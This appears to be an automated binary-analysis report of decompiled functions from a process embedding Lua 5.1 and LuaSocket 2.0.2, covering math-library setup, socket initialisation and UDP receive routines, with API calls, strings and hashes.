Opcode ID: adde3ff7b4020ee864eefffddb59ab1b470a517c85fde345a76944f5fb38f400
Instruction ID: e02318f684c305e6a9e8092004a483cbc88ef7b709e5fb69dc9fc51cc3ad5608
Opcode Fuzzy Hash: adde3ff7b4020ee864eefffddb59ab1b470a517c85fde345a76944f5fb38f400
Instruction Fuzzy Hash: DB018B7E65952131F911A11C7C02FCA2189CF812E5F150135F914691C7FB76E6D341EA

Uniqueness

Uniqueness Score: -1.00%

Function 005934D0, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E005934D0(signed int __eax, char _a4) {
				signed int _t4;
				signed int _t5;
				intOrPtr _t6;
				void* _t7;
				void* _t8;

				_t1 =  &_a4; // 0x593447
				_t6 =  *_t1;
				_push("getfd");
				_push(_t6);
				_t5 = _t4 | 0xffffffff;
				L00594AD0();
				_push(0xfffffffe);
				_push(_t6);
				L00594B00();
				_push(0xffffffff);
				_push(_t6);
				L00594AFA();
				_t8 = _t7 + 0x18;
				if(__eax != 0) {
					_push(0xfffffffe);
					_push(_t6);
					L00594B90();
					_push(1);
					_push(1);
					_push(_t6);
					L00594BC0();
					_push(0xffffffff);
					_push(_t6);
					L00594B84();
					_t8 = _t8 + 0x1c;
					if(__eax != 0) {
						_push(0xffffffff);
						_push(_t6);
						L00594B7E();
						_t8 = _t8 + 8;
						L00594BD0();
						_t5 = __eax;
					}
				}
				_push(0xfffffffe);
				_push(_t6);
				L00594AB8();
				return _t5;
			}

0x005934d1
0x005934d1
0x005934d6
0x005934db
0x005934dc
0x005934df
0x005934e4
0x005934e6
0x005934e7
0x005934ec
0x005934ee
0x005934ef
0x005934f4
0x005934f9
0x005934fb
0x005934fd
0x005934fe
0x00593503
0x00593505
0x00593507
0x00593508
0x0059350d
0x0059350f
0x00593510
0x00593515
0x0059351a
0x0059351c
0x0059351e
0x0059351f
0x00593524
0x00593527
0x0059352c
0x0059352c
0x0059351a
0x0059352e
0x00593530
0x00593531
0x0059353d

APIs

lua_pushstring.LUA5.1(G4Y,getfd,?,?,00593447,?,?,?,?,?,?,?,?,?,?,?), ref: 005934DF
lua_gettable.LUA5.1(G4Y,000000FE,G4Y,getfd,?,?,00593447,?), ref: 005934E7
lua_type.LUA5.1(G4Y,000000FF,G4Y,000000FE,G4Y,getfd,?,?,00593447,?), ref: 005934EF
lua_pushvalue.LUA5.1(G4Y,000000FE,?,?,?,?,00593447,?), ref: 005934FE
lua_call.LUA5.1(G4Y,00000001,00000001,G4Y,000000FE,?,?,?,?,00593447,?), ref: 00593508
lua_isnumber.LUA5.1(G4Y,000000FF,G4Y,00000001,00000001,G4Y,000000FE,?,?,?,?,00593447,?), ref: 00593510
lua_tonumber.LUA5.1(G4Y,000000FF,?,?,?,?,?,?,?,?,?,?,?,00593447,?), ref: 0059351F
_ftol.MSVCRT ref: 00593527
lua_settop.LUA5.1(G4Y,000000FE,?,?,?,?,00593447,?), ref: 00593531

Strings

G4Y, xrefs: 005934D1, 005934DB, 005934E6, 005934EE, 005934FD, 00593507, 0059350F, 0059351E, 00593530
getfd, xrefs: 005934D6

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: _ftollua_call.lua_gettable.lua_isnumber.lua_pushstring.lua_pushvalue.lua_settop.lua_tonumber.lua_type.
String ID: G4Y$getfd
API String ID: 3711187348-2053622051
Opcode ID: 7443268a509ca8255a4c484d26261f56aba15a123c34774972277e3bd95f5283
Instruction ID: 72dcfabb97e7eaaad9092b7b69f5a3a02fabc5588b54bfa9d3de8b4e07eafe57
Opcode Fuzzy Hash: 7443268a509ca8255a4c484d26261f56aba15a123c34774972277e3bd95f5283
Instruction Fuzzy Hash: 5BF03A2660A533319D0132292D06F8E190B6EC3335F290310F934712D2EE45DE0345FA

Uniqueness

Uniqueness Score: -1.00%

Function 100134F0, Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 38COMMON

Download Yara Rule

APIs

luaL_register.LUA5.1(?,math,100177C8), ref: 10013500

Part of subcall function 1000F6F0: luaL_openlib.LUA5.1(?,?,?,00000000), ref: 1000F701

lua_pushnumber.LUA5.1(?,54442D18,400921FB,?,math,100177C8), ref: 10013510
lua_setfield.LUA5.1(?,000000FE,1001A3E8,?,54442D18,400921FB,?,math,100177C8), ref: 1001351D

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

lua_pushnumber.LUA5.1(?,?,?,?,000000FE,1001A3E8,?,54442D18,400921FB,?,math,100177C8), ref: 1001352F
lua_setfield.LUA5.1(?,000000FE,huge,?,?,?,?,000000FE,1001A3E8,?,54442D18,400921FB,?,math,100177C8), ref: 1001353C
lua_getfield.LUA5.1(?,000000FF,fmod,?,000000FE,huge,?,?,?,?,000000FE,1001A3E8,?,54442D18,400921FB,?), ref: 10013549

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_setfield.LUA5.1(?,000000FE,mod), ref: 10013559

Strings

mod, xrefs: 10013551
fmod, xrefs: 10013541
huge, xrefs: 10013534
math, xrefs: 100134FA

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_setfield.$S_newlstr.lua_pushnumber.$L_openlib.L_register.lua_getfield.
String ID: fmod$huge$math$mod
API String ID: 3660912427-2781356510
Opcode ID: f35251b065affb9c56340d740e13195d303366406bd9dcae72a11a1dc6e61a4e
Instruction ID: 23c21f1aef0c8753b55469bc739b4939c1c3faa8b27fc40f68cfef374e26b998
Opcode Fuzzy Hash: f35251b065affb9c56340d740e13195d303366406bd9dcae72a11a1dc6e61a4e
Instruction Fuzzy Hash: D3F0827844942137A402E214AC42EDF2699DF972F1B204310F6303A2D7DF64BBC211E9

Uniqueness

Uniqueness Score: -1.00%

Function 005931B0, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E005931B0(intOrPtr _a4) {
				intOrPtr _t6;
				intOrPtr _t7;

				if(E00593F80() == 0) {
					_t6 = _a4;
					_push("unable to initialize library");
					_push(_t6);
					L00594AD0();
					_push(_t6);
					L00594AEE();
					return 0;
				} else {
					_t7 = _a4;
					_push(0);
					_push("4eY");
					_push("socket");
					_push(_t7);
					L00594B48();
					_push("_VERSION");
					_push(_t7);
					L00594AD0();
					_push("LuaSocket 2.0.2");
					_push(_t7);
					L00594AD0();
					_push(0xfffffffd);
					_push(_t7);
					L00594AC4();
					return 1;
				}
			}

0x005931b8
0x005931f8
0x005931fc
0x00593201
0x00593202
0x00593207
0x00593208
0x00593213
0x005931ba
0x005931ba
0x005931be
0x005931c0
0x005931c5
0x005931ca
0x005931cb
0x005931d0
0x005931d5
0x005931d6
0x005931db
0x005931e0
0x005931e1
0x005931e6
0x005931e8
0x005931e9
0x005931f7
0x005931f7

APIs

Part of subcall function 00593F80: WSAStartup.WSOCK32(00000002), ref: 00593F8D
Part of subcall function 00593F80: WSACleanup.WSOCK32 ref: 00593FA7

luaL_openlib.LUA5.1(?,socket,4eY,00000000,?,0059317B,?), ref: 005931CB
lua_pushstring.LUA5.1(?,_VERSION,?,socket,4eY,00000000,?,0059317B,?), ref: 005931D6
lua_pushstring.LUA5.1(?,LuaSocket 2.0.2,?,_VERSION,?,socket,4eY,00000000,?,0059317B,?), ref: 005931E1
lua_rawset.LUA5.1(?,000000FD,?,LuaSocket 2.0.2,?,_VERSION,?,socket,4eY,00000000,?,0059317B,?), ref: 005931E9
lua_pushstring.LUA5.1(?,unable to initialize library,?,0059317B,?), ref: 00593202
lua_error.LUA5.1(?,?,unable to initialize library,?,0059317B,?), ref: 00593208

Strings

LuaSocket 2.0.2, xrefs: 005931DB
unable to initialize library, xrefs: 005931FC
socket, xrefs: 005931C5
_VERSION, xrefs: 005931D0
4eY, xrefs: 005931C0

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$CleanupL_openlib.Startuplua_error.lua_rawset.
String ID: 4eY$LuaSocket 2.0.2$_VERSION$socket$unable to initialize library
API String ID: 1465530894-2600384237
Opcode ID: 6b86bc376dff7b90ee65f4e675c36dfdfae71a803d1393b1466d6ede22cdaa96
Instruction ID: 8c28a79fe932f31563fc61ea5e5b34ce73cead7afba661b0e1f8668f9443b85b
Opcode Fuzzy Hash: 6b86bc376dff7b90ee65f4e675c36dfdfae71a803d1393b1466d6ede22cdaa96
Instruction Fuzzy Hash: 87E06D3268A62231CD0172206C0BFCF1D457F82754F8A0500F405720CAEA49AF579AEE

Uniqueness

Uniqueness Score: -1.00%

Function 100090C0, Relevance: 18.2, APIs: 12, Instructions: 161COMMON

Download Yara Rule

APIs

luaM_realloc_.LUA5.1(?,?,?,?,?,?,?,00000029,?), ref: 10009107
luaM_toobig.LUA5.1(?,?,?,?,00000029,?), ref: 10009112
luaM_realloc_.LUA5.1(?,?,?,?,?,?,?,?,00000029,?), ref: 10009145
luaM_toobig.LUA5.1(?,?,?,?,?,00000029,?), ref: 10009150
luaM_realloc_.LUA5.1(?,?,?,?,?,?,?,?,?,00000029,?), ref: 1000917F
luaM_toobig.LUA5.1(?,?,?,?,?,?,00000029,?), ref: 1000918A
luaM_realloc_.LUA5.1(?,?,?,?,?,?,?,?,?,?,00000029,?), ref: 100091B9
luaM_toobig.LUA5.1(?,?,?,?,?,?,?,00000029,?), ref: 100091C4
luaM_realloc_.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,00000029,?), ref: 100091FA
luaM_toobig.LUA5.1(?,?,?,?,?,?,?,?,00000029,?), ref: 10009205
luaM_realloc_.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,00000029,?), ref: 1000923B
luaM_toobig.LUA5.1(?,?,?,?,?,?,?,?,?,00000029,?), ref: 10009246

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: M_realloc_.M_toobig.
String ID:
API String ID: 1500966413-0
Opcode ID: 09bd6e47f580dcd1dea56bd2a905a2a65a030b1d13f228b114adc1a62c91843f
Instruction ID: b14d1679c336b882108aa4155c346381c8affbeaceda9433cae1b7bc1c1e70c1
Opcode Fuzzy Hash: 09bd6e47f580dcd1dea56bd2a905a2a65a030b1d13f228b114adc1a62c91843f
Instruction Fuzzy Hash: 3D5171B4500B01AFF320DF28D881D67B3F9FB84264B448A19E95A43A96EB31F955CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005C1710, Relevance: 18.1, APIs: 12, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E005C1710(intOrPtr _a4) {
				char _v524;
				intOrPtr _v528;
				char _v532;
				char _v536;
				intOrPtr* _t24;
				intOrPtr* _t27;
				intOrPtr _t28;
				intOrPtr* _t35;
				intOrPtr* _t41;
				char _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr _t56;
				void* _t58;
				void* _t59;
				void* _t60;
				void* _t62;

				_t56 = _a4;
				_t24 =  &_v532;
				_t53 = 0;
				_push(_t24);
				_push(0);
				_push(1);
				_push(_t56);
				_v532 = 0;
				L005C212C();
				_t54 = _t24;
				_push(0);
				_push(0x5c3064);
				_push(3);
				_push(_t56);
				_v528 = _t54 + _v532;
				L005C212C();
				_t58 =  &_v536 + 0x20;
				_t41 = _t24;
				if(_t54 != 0) {
					_push( &_v524);
					_push(_t56);
					L005C211A();
					_t59 = _t58 + 8;
					while(_t54 < _v528) {
						_push( &_v524);
						_push(_t41);
						_push(_t53);
						_push( &_v536);
						_push( *_t54);
						_t54 = _t54 + 1;
						_t53 = E005C1870();
						_t59 = _t59 + 0x14;
					}
					_t27 =  &_v532;
					_push(_t27);
					_push(0);
					_push(2);
					_push(_t56);
					L005C212C();
					_t55 = _t27;
					_t60 = _t59 + 0x10;
					if(_t55 != 0) {
						_t28 = _t55 + _v532;
						_v528 = _t28;
						if(_t55 < _t28) {
							do {
								_push( &_v524);
								_push(_t41);
								_push(_t53);
								_push( &_v536);
								_push( *_t55);
								_t55 = _t55 + 1;
								_t53 = E005C1870();
								_t60 = _t60 + 0x14;
							} while (_t55 < _v528);
						}
						_push( &_v524);
						L005C2108();
						_push(_t53);
						_push( &_v536);
						_push(_t56);
						L005C2138();
						return 2;
					} else {
						E005C19D0( &_v536, _t53,  &_v524);
						_t35 =  &_v524;
						_push(_t35);
						L005C2108();
						_push(_t55);
						_push(0xffffffff);
						_push(_t56);
						L005C213E();
						_t62 = _t60 + 0x1c;
						if( *_t35 == 0) {
							_push(_t56);
							L005C2120();
							_t62 = _t62 + 4;
						}
						_push(_t56);
						L005C2120();
						return 2;
					}
				} else {
					_push(_t56);
					L005C2120();
					_push(_t56);
					L005C2120();
					return 2;
				}
			}

0x005c1718
0x005c1721
0x005c1725
0x005c1727
0x005c1728
0x005c1729
0x005c172b
0x005c172c
0x005c1730
0x005c1739
0x005c173b
0x005c173c
0x005c1744
0x005c1746
0x005c1747
0x005c174b
0x005c1750
0x005c1753
0x005c1757
0x005c177c
0x005c177d
0x005c177e
0x005c1787
0x005c178c
0x005c1794
0x005c1795
0x005c179a
0x005c179b
0x005c179c
0x005c179d
0x005c17a3
0x005c17a9
0x005c17ac
0x005c17b0
0x005c17b4
0x005c17b5
0x005c17b7
0x005c17b9
0x005c17ba
0x005c17bf
0x005c17c1
0x005c17c6
0x005c181a
0x005c181f
0x005c1823
0x005c1825
0x005c182b
0x005c182c
0x005c1831
0x005c1832
0x005c1833
0x005c1834
0x005c183a
0x005c1840
0x005c1843
0x005c1825
0x005c184b
0x005c184c
0x005c1855
0x005c1856
0x005c1857
0x005c1858
0x005c186f
0x005c17c8
0x005c17d3
0x005c17d8
0x005c17dc
0x005c17dd
0x005c17e2
0x005c17e3
0x005c17e5
0x005c17e6
0x005c17ed
0x005c17f2
0x005c17f4
0x005c17f5
0x005c17fa
0x005c17fa
0x005c17fd
0x005c17fe
0x005c1815
0x005c1815
0x005c1759
0x005c1759
0x005c175a
0x005c175f
0x005c1760
0x005c1777
0x005c1777

APIs

luaL_optlstring.LUA5.1(?,00000001,00000000,?), ref: 005C1730
luaL_optlstring.LUA5.1(?,00000003,005C3064,00000000,?,00000001,00000000,?), ref: 005C174B
lua_pushnil.LUA5.1(?), ref: 005C175A
lua_pushnil.LUA5.1(?,?), ref: 005C1760
luaL_buffinit.LUA5.1(?,?), ref: 005C177E
luaL_optlstring.LUA5.1(?,00000002,00000000,?), ref: 005C17BA
luaL_pushresult.LUA5.1(?,?,00000000,?), ref: 005C17DD
lua_tolstring.LUA5.1(?,000000FF,00000000,?,?,00000000,?), ref: 005C17E6
lua_pushnil.LUA5.1(?), ref: 005C17F5
lua_pushnil.LUA5.1(?), ref: 005C17FE

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnil.$L_optlstring.$L_buffinit.L_pushresult.lua_tolstring.
String ID:
API String ID: 3302033068-0
Opcode ID: 32a33325264f91cd861d0bbdb092207f854f29f2d31a09760a05d626c351f34e
Instruction ID: f8c113a8b9cb59ec0622a01b0992d38324086c41cb362acd15de640a9087df49
Opcode Fuzzy Hash: 32a33325264f91cd861d0bbdb092207f854f29f2d31a09760a05d626c351f34e
Instruction Fuzzy Hash: 41410B725043062FD321EA98DC85FAB7BECEBD5350F440A2DF99597103E924E909C7B6

Uniqueness

Uniqueness Score: -1.00%

Function 100118D0, Relevance: 18.1, APIs: 12, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 10011630: lua_type.LUA5.1(?,00000001,?,100113D5,?,?), ref: 10011638
Part of subcall function 10011630: lua_tothread.LUA5.1(?,00000001), ref: 10011652

lua_type.LUA5.1(?,?,?,?), ref: 100118EA
lua_settop.LUA5.1(?,?), ref: 100118FD
lua_sethook.LUA5.1(00000000,00000000,00000000,00000000,?,?), ref: 10011909
luaL_checklstring.LUA5.1(?,?,00000000), ref: 10011920
luaL_optinteger.LUA5.1(?,?,00000000,?,?,00000000), ref: 10011932
luaL_checktype.LUA5.1(?,?,00000006,?,?,00000000,?,?,00000000), ref: 10011942
lua_sethook.LUA5.1(00000000,100119A0,00000000,?,00000000), ref: 1001195C
lua_pushlightuserdata.LUA5.1(00000000,00000000,00000000,?,?,?,00000000), ref: 1001196E
lua_pushvalue.LUA5.1(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 1001197A
lua_xmove.LUA5.1(?,00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 10011983
lua_rawset.LUA5.1(00000000,000000FD,?,00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 1001198B
lua_settop.LUA5.1(00000000,000000FE,00000000,000000FD,?,00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 10011993

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_sethook.lua_settop.lua_type.$L_checklstring.L_checktype.L_optinteger.lua_pushlightuserdata.lua_pushvalue.lua_rawset.lua_tothread.lua_xmove.
String ID:
API String ID: 534292407-0
Opcode ID: 3c81e8853d9686c4bf3d74039fbe51481895820f1cdbeaf4b83450355e723775
Instruction ID: 8dc47a92df02fc00857607699b66b6b54f54b476b9b1ab6c16400a63b81c1dba
Opcode Fuzzy Hash: 3c81e8853d9686c4bf3d74039fbe51481895820f1cdbeaf4b83450355e723775
Instruction Fuzzy Hash: 5311B6B96041043EF105E220AC83FFF225CDFC66D4F104518F9546618BEA65BE8242B7

Uniqueness

Uniqueness Score: -1.00%

Function 00593D50, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E00593D50(void* __fp0) {
				intOrPtr* _t9;
				intOrPtr* _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				char* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t39;

				_t39 = __fp0;
				_t22 =  *((intOrPtr*)(_t26 + 0x14));
				_t9 = E00591250(_t22, "udp{any}", 1);
				_push(0);
				_push(2);
				_push(_t22);
				_t25 = _t9;
				L00594B54();
				_t27 = _t26 + 0x18;
				_t16 = _t9;
				_t23 = "*";
				while(1) {
					_t20 =  *_t9;
					_t17 = _t20;
					if(_t20 !=  *_t23) {
						break;
					}
					if(_t17 == 0) {
						L5:
						 *((intOrPtr*)(_t27 + 0x14)) = 0;
						L7:
						_t10 =  *((intOrPtr*)(_t27 + 0x14));
						if( *((intOrPtr*)(_t27 + 0x14)) == 0) {
							_push(0);
							_push(0);
							_push(3);
							_push(_t22);
							L00594B72();
							_t28 = _t27 + 0x10;
						} else {
							_push(3);
							_push(_t22);
							L00594B66();
							_t28 = _t27 + 8;
						}
						L00594BD0();
						_t7 = _t25 + 8; // 0x8
						_t24 = E005917B0(_t39, _t25, _t16, _t10);
						_t29 = _t28 + 0x10;
						if(_t24 == 0) {
							_push(1);
							if( *((intOrPtr*)(_t29 + 0x14)) == 0) {
								_push("udp{unconnected}");
							} else {
								_push("udp{connected}");
							}
							_push(_t22);
							E005912A0();
							_push(0x3ff00000);
							_push(0);
							_push(_t22);
							L00594B5A();
							return 1;
						} else {
							_push(_t22);
							L00594B4E();
							_push(_t24);
							_push(_t22);
							L00594AD0();
							return 2;
						}
					}
					_t21 =  *((intOrPtr*)(_t9 + 1));
					_t19 = _t21;
					_t3 =  &(_t23[1]); // 0x25000000
					if(_t21 !=  *_t3) {
						break;
					}
					_t9 = _t9 + 2;
					_t23 =  &(_t23[2]);
					if(_t19 != 0) {
						continue;
					}
					goto L5;
				}
				asm("sbb eax, eax");
				asm("sbb eax, 0xffffffff");
				 *((intOrPtr*)(_t27 + 0x14)) = _t9;
				goto L7;
			}

0x00593d50
0x00593d54
0x00593d60
0x00593d65
0x00593d67
0x00593d69
0x00593d6a
0x00593d6c
0x00593d71
0x00593d74
0x00593d76
0x00593d7b
0x00593d7b
0x00593d7d
0x00593d81
0x00000000
0x00000000
0x00593d85
0x00593d9b
0x00593d9b
0x00593dae
0x00593dae
0x00593db4
0x00593dc3
0x00593dc5
0x00593dc7
0x00593dc9
0x00593dca
0x00593dcf
0x00593db6
0x00593db6
0x00593db8
0x00593db9
0x00593dbe
0x00593dbe
0x00593dd2
0x00593dd7
0x00593de3
0x00593de5
0x00593dea
0x00593e0a
0x00593e0e
0x00593e17
0x00593e10
0x00593e10
0x00593e10
0x00593e1c
0x00593e1d
0x00593e25
0x00593e2a
0x00593e2c
0x00593e2d
0x00593e3e
0x00593dec
0x00593dec
0x00593ded
0x00593df2
0x00593df3
0x00593df4
0x00593e05
0x00593e05
0x00593dea
0x00593d87
0x00593d8a
0x00593d8c
0x00593d8f
0x00000000
0x00000000
0x00593d91
0x00593d94
0x00593d99
0x00000000
0x00000000
0x00000000
0x00593d99
0x00593da5
0x00593da7
0x00593daa
0x00000000

APIs

Part of subcall function 00591250: sprintf.MSVCRT ref: 0059127F
Part of subcall function 00591250: luaL_argerror.LUA5.1(?,?,?), ref: 0059128C

luaL_checklstring.LUA5.1(?,00000002,00000000,?,udp{any},00000001), ref: 00593D6C
luaL_checknumber.LUA5.1(?,00000003), ref: 00593DB9
luaL_optnumber.LUA5.1(?,00000003,00000000,00000000), ref: 00593DCA
_ftol.MSVCRT ref: 00593DD2
lua_pushnil.LUA5.1(?), ref: 00593DED
lua_pushstring.LUA5.1(?,00000000,?), ref: 00593DF4
lua_pushnumber.LUA5.1(?,00000000,3FF00000), ref: 00593E2D

Strings

udp{connected}, xrefs: 00593E10
udp{unconnected}, xrefs: 00593E17
udp{any}, xrefs: 00593D5A

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checklstring.L_checknumber.L_optnumber._ftollua_pushnil.lua_pushnumber.lua_pushstring.sprintf
String ID: udp{any}$udp{connected}$udp{unconnected}
API String ID: 2423230677-672493207
Opcode ID: ba5d0fa4386bdc2e447f6457f6d063539a9f56b93a69dec8844486a114d61bb6
Instruction ID: 62df2f16f153e1155d7205249f5772d0898b0263fd7d22ae002cd42e75b765ac
Opcode Fuzzy Hash: ba5d0fa4386bdc2e447f6457f6d063539a9f56b93a69dec8844486a114d61bb6
Instruction Fuzzy Hash: 79214F71A4430167DF206B646C97F7B7F9EFFD2B90F040054F944A72C2E2468E0942A6

Uniqueness

Uniqueness Score: -1.00%

Function 00593B10, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 90
networkCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00593B10(void* __ecx, void* __eflags, long long __fp0, char _a4, char _a8, intOrPtr _a10, char _a12, signed int _a16, char _a28, intOrPtr _a8224) {
				signed int _v8;
				void* _t15;
				void* _t19;
				signed int _t22;
				void* _t25;
				intOrPtr _t32;
				void* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				long long _t50;

				_t50 = __fp0;
				E00594BE0(0x201c, __ecx);
				_t32 = _a8224;
				_t15 = E00591200(_t32, "udp{unconnected}", 1);
				_push(0x40c00000);
				_push(0);
				_push(2);
				_push(_t32);
				_t25 = _t15;
				_a4 = 0x10;
				L00594B72();
				L00594BD0();
				_t3 = _t25 + 8; // 0x8
				_t35 = _t3;
				_t33 = _t15;
				E00592DC0(__fp0, _t35);
				_t37 = _t36 + 0x20;
				if(_t15 >= 0x2000) {
					_t33 = 0x2000;
				}
				_push(_t35);
				_t19 = E005945A0(_t25,  &_a28, _t33,  &_a8,  &_a12,  &_a4);
				_t34 = _t19;
				_t38 = _t37 + 0x1c;
				if(_t19 != 0) {
					_push(_t32);
					L00594B4E();
					_push(E00593860(_t34));
					_push(_t32);
					L00594AD0();
					return 2;
				} else {
					_push(_a8);
					_push( &_a28);
					_push(_t32);
					L00594BC6();
					_t22 = _a16;
					_push(_t22);
					L00594A10();
					_push(_t22);
					_push(_t32);
					L00594AD0();
					_push(_a10);
					L00594A1C();
					_v8 = _t22 & 0x0000ffff;
					asm("fild dword [esp+0x18]");
					 *((long long*)(_t38 + 0x14 - 8)) = _t50;
					_push(_t32);
					L00594B5A();
					return 3;
				}
			}

0x00593b10
0x00593b15
0x00593b1e
0x00593b2d
0x00593b32
0x00593b37
0x00593b39
0x00593b3b
0x00593b3c
0x00593b3e
0x00593b46
0x00593b4b
0x00593b50
0x00593b50
0x00593b53
0x00593b56
0x00593b5b
0x00593b64
0x00593b66
0x00593b66
0x00593b6f
0x00593b82
0x00593b87
0x00593b89
0x00593b8e
0x00593bed
0x00593bee
0x00593bf9
0x00593bfa
0x00593bfb
0x00593c12
0x00593b90
0x00593b98
0x00593b99
0x00593b9a
0x00593b9b
0x00593ba0
0x00593ba7
0x00593ba8
0x00593bad
0x00593bae
0x00593baf
0x00593bbb
0x00593bbc
0x00593bc9
0x00593bcd
0x00593bd1
0x00593bd4
0x00593bd5
0x00593bec
0x00593bec

APIs

Part of subcall function 00591200: sprintf.MSVCRT ref: 0059122F
Part of subcall function 00591200: luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

luaL_optnumber.LUA5.1(?,?,?,00000002,00000000,40C00000,?,udp{unconnected},00000001), ref: 00593B46
_ftol.MSVCRT ref: 00593B4B
lua_pushlstring.LUA5.1(?,?,?), ref: 00593B9B
inet_ntoa.WSOCK32(?), ref: 00593BA8
lua_pushstring.LUA5.1(?,00000000,?), ref: 00593BAF
htons.WSOCK32(?), ref: 00593BBC
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 00593BD5
lua_pushnil.LUA5.1(?), ref: 00593BEE
lua_pushstring.LUA5.1(?,00000000,00000000,?), ref: 00593BFB

Strings

udp{unconnected}, xrefs: 00593B27

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$L_argerror.L_optnumber._ftolhtonsinet_ntoalua_pushlstring.lua_pushnil.lua_pushnumber.sprintf
String ID: udp{unconnected}
API String ID: 2724925158-754074627
Opcode ID: c53f0b56b363068ad4b2f20b7acef9e12733419b39c4fd0d59275a9dec8f4ab6
Instruction ID: cbe5b3a7319f57682a746e48e641d787d280bf8d425b80d021eb4ddb03b512f3
Opcode Fuzzy Hash: c53f0b56b363068ad4b2f20b7acef9e12733419b39c4fd0d59275a9dec8f4ab6
Instruction Fuzzy Hash: F02108725442016BEB10B654DC8AF7F7AAEFFC4318F040529F84466143E669DE1A86B7

Uniqueness

Uniqueness Score: -1.00%

